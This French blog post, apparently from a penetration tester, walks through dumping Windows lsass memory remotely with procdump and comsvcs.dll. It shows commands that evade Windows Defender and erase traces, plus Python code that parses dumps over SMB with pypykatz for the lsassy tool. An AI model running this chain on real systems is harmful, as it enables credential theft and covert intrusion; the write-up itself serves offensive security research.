Un petit message d’introduction pour remercier mpgn qui m’a beaucoup aidé sur différents sujets, et avec qui je travaille en partie sur ce projet, et Skelsec pour ses conseils et ses idées.

CrackMapExec

L’outil CrackMapExec est développé et maintenu par Byt3bl33d3r. Son utilité est de pouvoir exécuter des actions sur un ensemble de machines de manière asynchrone, donc relativement rapidement. L’outil permet de s’authentifier sur les machines distantes avec un compte de domaine, un compte local, et un password ou un hash, donc via la technique de “Pass the hash”.

CrackMapExec a été développé de manière modulaire. Il est possible de créer ses propres modules que l’outil exécutera lorsqu’il se connectera à une machine. Il en existe déjà beaucoup, comme l’énumération d’informations (DNS, Chrome, AntiVirus), l’exécution de BloodHound ou encore la recherche de mots de passe dans les “Group Policy Preferences”.

Module Mimikatz

Il en existe un en particulier, qui était très efficace pendant quelques temps, c’était le module Mimikatz. CrackMapExec exécute Mimikatz sur les machines distantes afin d’extraire les identifiants de la mémoire de lsass ou Local Security Authority SubSystem. C’est dans ce processus que se trouvent les différents Security Service Providers ou SSP, c’est à dire les paquets qui gèrent les différents types d’authentification. Pour des raisons pratiques, les identifiants entrés par un utilisateur sont très souvent enregistrés dans l’un de ces paquets pour qu’il n’ait pas à les entrer une nouvelle fois quelques secondes ou minutes plus tard.

C’est pourquoi Mimikatz extrait les informations situées dans ces différents SSP pour tenter de trouver des secrets d’identification, et les affiche à l’attaquant. Ainsi, si un compte à privilèges s’est connecté sur l’une des machines compromises, le module Mimikatz permet de récupérer rapidement ses identifiants et ainsi profiter des privilèges de ce compte pour compromettre plus de ressources.

Mais aujourd’hui, la majorité des antivirus détecte la présence et/ou l’exécution de Mimikatz et le bloque. CrackMapExec a beau attendre une réponse des machines visées, l’antivirus a joué son rôle, et nous n’avons plus les secrets qui apparaissent sur notre écran.

Méthode manuelle : Procdump

Suite à ce constat, je me suis tourné vers une méthode beaucoup plus manuelle mais qui a le mérite d’être fonctionnelle en utilisant l’outil Procdump.

Procdump est un outil de la suite Sysinternals qui a été écrite par Marc Russinovich pour simplifier la vie des administrateurs. Cette suite d’outils a été adoptée par un grand nombre de personnes, à tel point que Microsoft a décidé de l’acheter vers 2006, et les exécutables sont maintenant signés par Microsoft, donc reconnus comme sains par Windows.

L’outil procdump fait donc partie de ces outils, et il permet tout simplement de faire un dump de la mémoire d’un processus en cours d’exécution. Il s’attache au processus, lit sa mémoire et la retranscrit dans un fichier.

procdump --accepteula -ma <processus> processus_dump.dmp

Or, pour extraire les secrets des utilisateurs, Mimikatz va notamment fouiller dans la mémoire du processus lsass, comme expliqué précédemment.

Il est alors possible de faire un dump du processus lsass sur une machine, de rapatrier ce dump sur notre machine locale, et d’extraire les identifiants à l’aide de Mimikatz.

Pour dumper le processus lsass, nous pouvons donc utiliser l’outil procdump, puisque celui-ci est connu de Windows, et ne sera pas considéré comme un logiciel malveillant.

Dans un premier temps, il faut l’envoyer sur le serveur, par exemple en utilisant smbclient.py de la suite impacket

smbclient.py ADSEC.LOCAL/[email protected]

# use C$
# cd Windows
# cd Temp
# put procdump.exe

Une fois uploadé, il doit être exécuté afin de créer le dump de lsass.

psexec.py adsec.local/[email protected] "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"

Puis le dump doit être rapatrié sur la machine de l’attaquant, suite à quoi nous pouvons supprimer les traces sur la cible (lsass.dmp et procdump.exe).

# get lsass.dmp
# del procdump.exe
# del lsass.dmp

L’extraction des identifiants se fait de la manière suivante avec Mimikatz : la première ligne permet de charger le dump mémoire, et la deuxième d’extraire les secrets.

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

Cette technique est très pratique puisqu’elle ne génère pas beaucoup de bruit et seul un logiciel légitime est utilisé sur les cibles.

Limites & Améliorations

Il existe différentes limitations à cette méthode. Nous allons les exposer ici, et proposer des améliorations afin d’y remédier.

Linux / Windows

Le premier problème est que lors de mes tests, je suis majoritairement sur mon poste Linux, que ce soit pour les tests web ou les tests internes, et Mimikatz est un outil exclusivement développé pour Windows, de par son fonctionnement. Il serait idéal de pouvoir effectuer la chaine d’attaque décrite ci-dessus depuis un poste Linux.

Heureusement, le projet Pypykatz de Skelsec répond à cette attente. Skelsec a développé une implémentation partielle de Mimikatz en python pur. Qui dit python pur, dit cross-plateforme. Cet outil permet notamment, comme Mimikatz, d’extraire les secrets d’un dump lsass.

pypykatz lsa minidump lsass.dmp

Grâce à ce projet, il est possible de tout faire depuis une machine Linux. L’ensemble des étapes présentées dans le paragraphe précédent est applicable, et lorsque lsass.dmp a été téléchargé sur la machine de l’attaquant, pypykatz est utilisé pour extraire les noms d’utilisateur et mots de passe ou hash NT de ce dump.

So far so good, let’s go deeper.

Windows Defender

Une deuxième limitation a été rencontrée, elle était due à Windows Defender. Bien que procdump soit un outil de confiance du point de vue de Windows, le fait de faire un dump de lsass est un comportement qui est considéré comme anormal par Windows Defender. Ainsi, lorsque le dump a été effectué, Windows Defender réagit et supprime le dump après quelques secondes. Si nous avons une très bonne connexion, que le dump n’est pas trop gros, et que nous sommes suffisamment rapides, il est possible de télécharger le dump avant sa suppression.

Cependant ce comportement est trop aléatoire pour s’en contenter. En regardant la documentation de procdump, je me suis rendu compte qu’il était aussi possible de lui fournir un identifiant de process (PID). Et surprise, en lui fournissant non plus le nom mais le PID de lsass, Windows Defender ne réagit plus.

Il suffit alors de trouver le PID du processus lsass, par exemple avec la commande tasklist

> tasklist /fi "imagename eq lsass.exe"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
lsass.exe                      640 Services                   0     15,584 K

Puis une fois en possession de ce PID, nous le fournissons à procdump.

procdump -accepteula -ma 640 lsass.dmp

Nous avons alors tout le loisir de télécharger notre dump et de l’analyser ensuite sur notre machine, comme précédemment.

Méthode manuelle

Cette opération est certes pratique, mais elle reste manuelle. Nous avons parlé de CrackMapExec et de sa modularité au début de cet article, c’est pourquoi j’ai écrit un module permettant d’automatiser cette opération. Pour chaque cible fournie à CrackMapExec, si l’attaquant est administrateur local de la cible, le module va uploader procdump sur la cible, l’exécuter, récupérer le dump de lsass et va ensuite l’analyser avec pypykatz.

Ce module fonctionne bien, mais il est long, très long à s’exécuter, et parfois le téléchargement du dump de lsass ne se termine pas car le fichier est trop volumineux. Il s’agit alors d’optimiser ce module.

Taille d’un dump

Nous sommes maintenant en mesure de dumper lsass sur la machine distante et de l’analyser en local sur notre linux de manière automatique avec un nouveau module CrackMapExec. Mais un dump mémoire de processus, ce n’est pas quelques octets, ni même quelques kilo octets. Ce sont plusieurs méga octets, voire dizaines de méga octets pour lsass. Lors de mes tests, certains dumps avaient une taille de plus de 150Mo. Si nous voulons automatiser ce processus, il va falloir trouver une solution, car télécharger un dump lsass sur un sous-réseau de 200 machines amènerait à télécharger plusieurs dizaines de giga octets. D’une part ça prendra beaucoup de temps, surtout si ce sont des machines distantes, dans d’autres pays, et d’autre part un flux réseau anormal pourrait être détecté par les équipes de sécurité.

Jusque là, nous avions des outils pour répondre à nos problèmes, mais cette fois-ci, il va falloir mettre les mains dans le moteur.

Nous n’allons pas réinventer la roue pour autant, et nous continuerons d’utiliser pypykatz pour extraire les informations du dump de lsass. L’idée étant de n’utiliser que procdump sur la machine distante, il n’est pas envisageable d’envoyer pypykatz pour faire le travail sur la machine distante. D’une part python peut ne pas être installé, et d’autre part il est possible que pypykatz soit détecté par des antivirus.

Ces prérequis en tête, voici la méthode que nous allons utiliser : Afin d’analyser un dump en local, pypykatz doit ouvrir le fichier et lire des octets à certains endroits. Les informations recherchées dans le dump sont présentes à certains offsets, et ne sont pas plus grandes que quelques octets, ou kilo octets. Pypykatz suit des pointeurs présents à des offsets précis afin de trouver l’information qui l’intéresse.

L’idée est alors de lire ces offsets et ces adresses à distance, sur le dump présent sur la cible, et de ne rapatrier que les quelques morceaux de dump qui contiennent les informations attendues.

En ce sens, regardons comment fonctionne pypykatz. La ligne de commande que nous utilisons jusqu’ici est la suivante :

pypykatz lsa minidump lsass.dmp

C’est en fait la classe LSACMDHelper qui gère la partie lsa. Et lorsqu’on lui fournit un dump de lsass, c’est la méthode run() de cette classe qui est appelée. Dans cette méthode run, il y a notamment :

###### Minidump
elif args.cmd == 'minidump':
    if args.directory:
        dir_fullpath = os.path.abspath(args.memoryfile)
        file_pattern = '*.dmp'
        if args.recursive == True:
            globdata = os.path.join(dir_fullpath, '**', file_pattern)
        else:	
            globdata = os.path.join(dir_fullpath, file_pattern)
            
        logging.info('Parsing folder %s' % dir_fullpath)
        for filename in glob.glob(globdata, recursive=args.recursive):
            logging.info('Parsing file %s' % filename)
            try:
                mimi = pypykatz.parse_minidump_file(filename)
                results[filename] = mimi
            except Exception as e:
                files_with_error.append(filename)
                logging.exception('Error parsing file %s ' % filename)
                if args.halt_on_error == True:
                    raise e
                else:
                    pass

On voit alors que le parsing du dump se fait à la ligne suivante :

mimi = pypykatz.parse_minidump_file(filename)

Cette méthode est définie dans pypykatz.py :

from minidump.minidumpfile import MinidumpFile
"""
<snip>
"""
@staticmethod
def parse_minidump_file(filename):
    try:
        minidump = MinidumpFile.parse(filename)
        reader = minidump.get_reader().get_buffered_reader()
        sysinfo = KatzSystemInfo.from_minidump(minidump)
    except Exception as e:
        logger.exception('Minidump parsing error!')
        raise e
    try:
        mimi = pypykatz(reader, sysinfo)
        mimi.start()
    except Exception as e:
        #logger.info('Credentials parsing error!')
        mimi.log_basic_info()
        raise e
    return mimi

C’est en fait la classe MinidumpFile du packet minidump qui gère le parsing. Il faut donc creuser un peu plus loin, et étudier minidump, également écrit par Skelsec.

Dans la classe Minidumpfile, la méthode parse est la suivante :

@staticmethod
def parse(filename):
    mf = MinidumpFile()
    mf.filename = filename
    mf.file_handle = open(filename, 'rb')
    mf._parse()
	return mf

Voilà, c’est cet endroit qui nous intéresse. Le fichier que nous passons en argument est ouvert puis son contenu est analysé. Je vous passe les extraits de code, mais en suivant la méthode privée _parse, nous nous rendons compte que minidump utilise les méthodes read, seek et tell pour analyser le fichier.

Il suffit alors de remplacer la fonction open par quelque chose que nous maitrisons afin d’ouvrir un accès vers le fichier distant, et de réécrire les méthodes read, seek et tell. Fort heureusement pour nous, la suite impacket possède des bouts de code qui nous serons très utiles.

Voici une partie de l’implémentation de cette classe. Du code a été simplifié pour la compréhension de l’article.

"""
Réécriture de 'open' pour ouvrir et lire un fichier distant
"""
class open(object):
    def __init__(self, fpath, mode):
        domainName, userName, password, hostName, shareName, filePath = self._parseArg(fpath)
        """
        ImpacketSMBConnexion est une surclasse de impacket que j'ai écrite pour simplifier cet extrait de code
        """
        self.__conn = ImpacketSMBConnexion(hostName, userName, password, domainName)
        self.__fpath = filePath
        self.__currentOffset = 0
        self.__tid = self.__connectTree(shareName)
        self.__fid = self.__conn.openFile(self.__tid, self.__fpath)        

    """
    Parsing du nom de fichier pour récupérer les informations d'authentification
    """
    def _parseArg(self, arg):
        pattern = re.compile(r"^(?P<domainName>[a-zA-Z0-9.-_]+)/(?P<userName>[^:]+):(?P<password>[^@]+)@(?P<hostName>[a-zA-Z0-9.-]+):/(?P<shareName>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$")
        matches = pattern.search(arg)
        if matches is None:
            raise Exception("{} is not valid. Expected format : domain/username:password@host:/share/path/to/file".format(arg))
        return matches.groups()
        

    """
    Ouverture du fichier distant
    """
    def __enter__(self):
        self.__fid = self.__conn.openFile(self.__tid, self.__fpath)
        return self

    """
    Fermeture de la connexion
    """
    def __exit__(self, exc_type, exc_val, exc_tb):
        self.__conn.close()
    
    def close(self):
        self.__conn.close()

    """
    Lecture de @size octets
    """
    def read(self, size):
        if size == 0:
            return b''
        value = self.__conn.readFile(self.__tid, self.__fid, self.__currentOffset, size)
        return value

    """
    Déplacement du pointer d'offset
    """
    def seek(self, offset, whence=0):
        if whence == 0:
            self.__currentOffset = offset

    """
    Retourne l'offset actuel
    """
    def tell(self):
        return self.__currentOffset

Nous avons donc notre nouvelle classe qui s’authentifie sur un partage réseau, et peut lire un fichier distant avec les méthodes citées. Si nous indiquons à minidump d’utiliser cette classe au lieu de la méthode open classique, alors minidump va lire le contenu distant sans sourciller.

minidump adsec.local/jsnow:Winter_is_coming_\[email protected]:/C$/Windows/Temp/lsass.dmp

Et de la même manière, pypykatz utilisant minidump, il pourra analyser le dump distant sans le télécharger complètement.

pypykatz lsa minidump adsec.local/jsnow:Winter_is_coming_\[email protected]:/C$/Windows/Temp/lsass.dmp

Optimisations

Nous avons maintenant un moyen de lire et analyser un dump lsass à distance, sans avoir à télécharger les 150Mo de dump sur notre machine, c’est une belle avancée ! Cependant, même si nous ne devons pas tout télécharger, le dump prend beaucoup de temps, presqu’autant que le téléchargement. Cela est dû au fait qu’à chaque fois que minidump veut lire quelques octets, une nouvelle requête est effectuée vers le serveur distant. C’est très couteux en temps, et en ajoutant un peu de log, on se rend compte que minidump fait beaucoup, beaucoup de demandes de 4 octets.

Une solution que j’ai mise en place pour pallier ce problème est de créer un buffer local, et imposer un nombre minimal d’octets à lire lors d’une requête pour réduire l’overhead. Si une requête demande moins de 4096 octets, et bien nous demanderons quand même 4096 octets, que nous sauvegarderons en local, et nous ne reverrons que les 4 premiers.

Lors des appels suivant à la fonction read, si la taille de données demandée est dans le buffer local, on renvoie directement le buffer local, ce qui est bien plus rapide. Si en revanche la donnée n’est pas dans le buffer, alors un nouveau buffer de 4096 octets sera demandé.

Cette optimisation fonctionne très bien car minidump effectue beaucoup de lectures concomitantes. Voici comment elle a été mise en place.

def read(self, size):
    """
    On envoie une chaine vide si la taille est 0
    """
    if size == 0:
        return b''

    
    if (self.__buffer_data["offset"] <= self.__currentOffset <= self.__buffer_data["offset"] + self.__buffer_data["size"]
            and self.__buffer_data["offset"] + self.__buffer_data["size"] > self.__currentOffset + size):
        """
        Si les octets demandés sont inclus dans le buffer local self.__buffer_data["buffer"], on renvoie directement la valeur
        """
        value = self.__buffer_data["buffer"][self.__currentOffset - self.__buffer_data["offset"]:self.__currentOffset - self.__buffer_data["offset"] + size]
    else:
        """
        Sinon, on demande le buffer au fichier distant
        """
        self.__buffer_data["offset"] = self.__currentOffset

        """
        Si la demande est inférieure à self.__buffer_min_size octets, on prendra quand même self.__buffer_min_size octets
        Et on stockera le surplus pour les prochains appels.
        """
        if size < self.__buffer_min_size:
            value = self.__conn.readFile(self.__tid, self.__fid, self.__currentOffset, self.__buffer_min_size)
            self.__buffer_data["size"] = self.__buffer_min_size
            self.__total_read += self.__buffer_min_size
            
        else:
            value = self.__conn.read(self.__tid, self.__fid, self.__currentOffset, size)
            self.__buffer_data["size"] = size
            self.__total_read += size
        
        self.__buffer_data["buffer"] = value

    self.__currentOffset += size
    """
    On ne renvoie que ce qui est nécessaire
    """
    return value[:size]

Cette optimisation permet de drastiquement gagner du temps. Voici un benchmark fait sur ma machine :

$ python no_opti.py
Function=minidump, Time=39.831733942

$python opti.py
Function=minidump, Time=0.897719860077

Sans cette optimisation, le script prenait environ 40 secondes, tandis qu’avec l’optimisation, il prend moins d’une seconde. Moins d’une seconde pour extraire les secrets d’authentification d’un dump lsass distant de plus de 150Mo !

Ne plus dépendre de Procdump

Mise à jour du 3 Janvier 2020 : Procdump est actuellement utilisé pour faire un dump du processus lsass. Bien qu’il soit signé par Microsoft, je trouve bien plus propre de ne pas passer par ça, mais plutôt d’utiliser des outils qui font partie de Windows par défaut.

Il y a une DLL (un fichier qui contient tout un tas de fonctions) appelée comsvcs.dll, située dans le dossier C:\Windows\System32, qui est utilisée pour dumper un processus lorsqu’il crash. Cette DLL contient notamment la fonction MiniDumpW qui semble avoir été écrite pour être utilisée avec l’outil rundll32.exe.

Les deux premiers arguments ne sont pas utilisés, mais le troisième est divisé en trois parties. La première correspond à l’id du processus (PID), la deuxième à l’emplacement du dump et la troisième est en fait toujours le mot full, pas d’autre choix.

Une fois que ces trois arguments ont été traités, et bien la DLL crée le fichier et dump le processus choisi dans ce fichier.

Grâce à cette fonction, nous pouvons maintenant utiliser comsvcs.dll pour dumper le processus lsass, au lieu d’envoyer procdump et de l’exécuter sur la machine distante.

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Il faut cependant garder en tête que cette technique ne fonctionne qu’en étant l’utilisateur SYSTEM.

Module CrackMapExec

Avec ce nouveau minidump, j’ai modifié le module CrackMapExec qui permet cette fois d’aller dumper lsass sur un ensemble de machines distantes, d’extraire les mots de passe à distance sur ces dumps, et de supprimer les traces de mon passage après coup.

Nouveaux outils

Voici deux outils que j’ai développés pour concrétiser ces recherches :

lsassy est disponible sur mon Github ou sur Pypi. C’est l’interface entre Pypykatz et la cible, qui permet de lire le dump de lsass à distance, avec les optimisations dont on a parlé dans cet article.

Le module CrackMapExec permet d’automatiser tout le processus en faisant un dump de lsass sur les machines distantes, et en extrayant les identifiants des personnes connectées en utilisant lsassy.

Conclusion

Ces recherches me sont très utiles pour mieux comprendre les outils que j’utilise au quotidien. J’ai aujourd’hui un outil qui fonctionne bien, rapidement, qui me sert grandement dans mes tests internes, et j’espère que ça pourra vous être utile.

J’espère que cet article vous donnera de nouvelles idées pour faire évoluer les outils d’infosec que nous utilisons au quotidien, à plus tard pour un nouvel article !